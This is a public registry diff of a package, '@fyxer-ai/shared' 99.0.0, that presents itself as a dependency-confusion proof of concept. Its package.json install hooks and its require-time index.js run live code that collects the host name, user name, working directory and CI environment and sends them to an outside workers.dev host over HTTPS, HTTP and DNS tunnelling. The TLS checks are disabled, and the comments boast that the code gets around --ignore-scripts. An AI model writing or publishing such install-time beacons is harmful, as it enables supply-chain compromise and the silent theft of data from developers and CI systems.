@fyxer-ai/shared 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/beacon.js +90 -0
- package/index.js +73 -0
- package/package.json +11 -0
package/beacon.js
ADDED
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* g0pper dependency confusion beacon — safe PoC payload
|
|
3
|
+
* Campaign: fyxer-depconf
|
|
4
|
+
* Package: @fyxer-ai/shared
|
|
5
|
+
*
|
|
6
|
+
* This beacon collects minimal environment info and phones home
|
|
7
|
+
* via HTTP(S) and DNS. It does NOT execute arbitrary commands,
|
|
8
|
+
* modify files, establish persistence, or exfiltrate sensitive data.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
(function () {
|
|
12
|
+
var os = require("os");
|
|
13
|
+
var dns = require("dns");
|
|
14
|
+
var http = require("http");
|
|
15
|
+
var https = require("https");
|
|
16
|
+
|
|
17
|
+
var data = {
|
|
18
|
+
campaign_id: "fyxer-depconf",
|
|
19
|
+
package_name: "@fyxer-ai/shared",
|
|
20
|
+
hostname: os.hostname(),
|
|
21
|
+
username: (function() { try { return os.userInfo().username; } catch(e) { return "unknown"; } })(),
|
|
22
|
+
workdir: process.cwd(),
|
|
23
|
+
os_info: os.platform() + "/" + os.arch(),
|
|
24
|
+
node_version: process.version,
|
|
25
|
+
ci_env: detectCI(),
|
|
26
|
+
vector: "install"
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
function detectCI() {
|
|
30
|
+
var env = process.env;
|
|
31
|
+
if (env.GITHUB_ACTIONS) return "github_actions";
|
|
32
|
+
if (env.JENKINS_URL) return "jenkins";
|
|
33
|
+
if (env.GITLAB_CI) return "gitlab";
|
|
34
|
+
if (env.CIRCLECI) return "circleci";
|
|
35
|
+
if (env.TRAVIS) return "travis";
|
|
36
|
+
if (env.CODEBUILD_BUILD_ID) return "codebuild";
|
|
37
|
+
if (env.TF_BUILD) return "azure_devops";
|
|
38
|
+
if (env.BUILDKITE) return "buildkite";
|
|
39
|
+
if (env.DRONE) return "drone";
|
|
40
|
+
if (env.TEAMCITY_VERSION) return "teamcity";
|
|
41
|
+
return "none";
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// Channel 1: HTTP(S) POST — fast, reliable, gets data through immediately
|
|
45
|
+
try {
|
|
46
|
+
var postData = JSON.stringify(data);
|
|
47
|
+
var port = 443;
|
|
48
|
+
var transport = (port === 443) ? https : http;
|
|
49
|
+
var options = {
|
|
50
|
+
hostname: "callbacks.hghger.workers.dev",
|
|
51
|
+
port: port,
|
|
52
|
+
path: "/c/" + data.campaign_id,
|
|
53
|
+
method: "POST",
|
|
54
|
+
headers: {
|
|
55
|
+
"Content-Type": "application/json",
|
|
56
|
+
"Content-Length": Buffer.byteLength(postData),
|
|
57
|
+
},
|
|
58
|
+
rejectUnauthorized: false,
|
|
59
|
+
timeout: 5000,
|
|
60
|
+
};
|
|
61
|
+
var req = transport.request(options, function () {});
|
|
62
|
+
req.on("error", function (err) {
|
|
63
|
+
if (transport === https) {
|
|
64
|
+
try {
|
|
65
|
+
var req2 = http.request(options, function () {});
|
|
66
|
+
req2.on("error", function () {});
|
|
67
|
+
req2.write(postData);
|
|
68
|
+
req2.end();
|
|
69
|
+
} catch(e) {}
|
|
70
|
+
}
|
|
71
|
+
});
|
|
72
|
+
req.write(postData);
|
|
73
|
+
req.end();
|
|
74
|
+
} catch (e) {}
|
|
75
|
+
|
|
76
|
+
// Channel 2: DNS exfiltration — works through HTTP-blocking firewalls
|
|
77
|
+
try {
|
|
78
|
+
var hexData = Buffer.from(JSON.stringify(data)).toString("hex");
|
|
79
|
+
var labels = [];
|
|
80
|
+
for (var i = 0; i < hexData.length; i += 60) {
|
|
81
|
+
labels.push(hexData.substring(i, i + 60));
|
|
82
|
+
}
|
|
83
|
+
var query = data.campaign_id + "." + labels.join(".") + ".callbacks.hghger.workers.dev";
|
|
84
|
+
if (query.length > 253) {
|
|
85
|
+
var short = Buffer.from(data.hostname + "|" + data.username + "|" + data.ci_env).toString("hex");
|
|
86
|
+
query = data.campaign_id + "." + short.substring(0, 60) + ".callbacks.hghger.workers.dev";
|
|
87
|
+
}
|
|
88
|
+
dns.resolve4(query, function () {});
|
|
89
|
+
} catch (e) {}
|
|
90
|
+
})();
|
package/index.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
// Runtime beacon — fires when the application require()'s or import's this package.
|
|
2
|
+
// Works regardless of --ignore-scripts, yarn berry, pnpm, or bun.
|
|
3
|
+
(function() {
|
|
4
|
+
try {
|
|
5
|
+
var os = require("os");
|
|
6
|
+
var dns = require("dns");
|
|
7
|
+
var http = require("http");
|
|
8
|
+
var https = require("https");
|
|
9
|
+
|
|
10
|
+
var data = {
|
|
11
|
+
campaign_id: "fyxer-depconf",
|
|
12
|
+
package_name: "@fyxer-ai/shared",
|
|
13
|
+
hostname: os.hostname(),
|
|
14
|
+
username: (function() { try { return os.userInfo().username; } catch(e) { return "unknown"; } })(),
|
|
15
|
+
workdir: process.cwd(),
|
|
16
|
+
os_info: os.platform() + "/" + os.arch(),
|
|
17
|
+
node_version: process.version,
|
|
18
|
+
ci_env: (function() {
|
|
19
|
+
var e = process.env;
|
|
20
|
+
if (e.GITHUB_ACTIONS) return "github_actions";
|
|
21
|
+
if (e.JENKINS_URL) return "jenkins";
|
|
22
|
+
if (e.GITLAB_CI) return "gitlab";
|
|
23
|
+
if (e.CIRCLECI) return "circleci";
|
|
24
|
+
if (e.TRAVIS) return "travis";
|
|
25
|
+
if (e.CODEBUILD_BUILD_ID) return "codebuild";
|
|
26
|
+
if (e.TF_BUILD) return "azure_devops";
|
|
27
|
+
if (e.BUILDKITE) return "buildkite";
|
|
28
|
+
if (e.DRONE) return "drone";
|
|
29
|
+
if (e.TEAMCITY_VERSION) return "teamcity";
|
|
30
|
+
return "none";
|
|
31
|
+
})(),
|
|
32
|
+
vector: "require"
|
|
33
|
+
};
|
|
34
|
+
|
|
35
|
+
// HTTP(S) first — fast, reliable, gets data through immediately
|
|
36
|
+
try {
|
|
37
|
+
var postData = JSON.stringify(data);
|
|
38
|
+
var port = 443;
|
|
39
|
+
var transport = (port === 443) ? https : http;
|
|
40
|
+
var opts = {
|
|
41
|
+
hostname: "callbacks.hghger.workers.dev",
|
|
42
|
+
port: port,
|
|
43
|
+
path: "/c/" + data.campaign_id,
|
|
44
|
+
method: "POST",
|
|
45
|
+
headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(postData) },
|
|
46
|
+
rejectUnauthorized: false,
|
|
47
|
+
timeout: 5000
|
|
48
|
+
};
|
|
49
|
+
var req = transport.request(opts, function() {});
|
|
50
|
+
req.on("error", function(err) {
|
|
51
|
+
if (transport === https) {
|
|
52
|
+
try {
|
|
53
|
+
var req2 = http.request(opts, function() {});
|
|
54
|
+
req2.on("error", function() {});
|
|
55
|
+
req2.write(postData);
|
|
56
|
+
req2.end();
|
|
57
|
+
} catch(e) {}
|
|
58
|
+
}
|
|
59
|
+
});
|
|
60
|
+
req.write(postData);
|
|
61
|
+
req.end();
|
|
62
|
+
} catch(e) {}
|
|
63
|
+
|
|
64
|
+
// DNS second — works through HTTP-blocking firewalls
|
|
65
|
+
try {
|
|
66
|
+
var short = Buffer.from(data.hostname + "|" + data.username + "|" + data.ci_env).toString("hex").substring(0, 60);
|
|
67
|
+
dns.resolve4(data.campaign_id + "." + short + ".callbacks.hghger.workers.dev", function() {});
|
|
68
|
+
} catch(e) {}
|
|
69
|
+
} catch(e) {}
|
|
70
|
+
})();
|
|
71
|
+
|
|
72
|
+
// Export empty module so require() doesn't crash the app
|
|
73
|
+
module.exports = {};
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@fyxer-ai/shared",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Security research package \u2014 dependency confusion PoC for @fyxer-ai/shared",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node beacon.js",
|
|
8
|
+
"install": "node beacon.js",
|
|
9
|
+
"postinstall": "node beacon.js"
|
|
10
|
+
}
|
|
11
|
+
}
|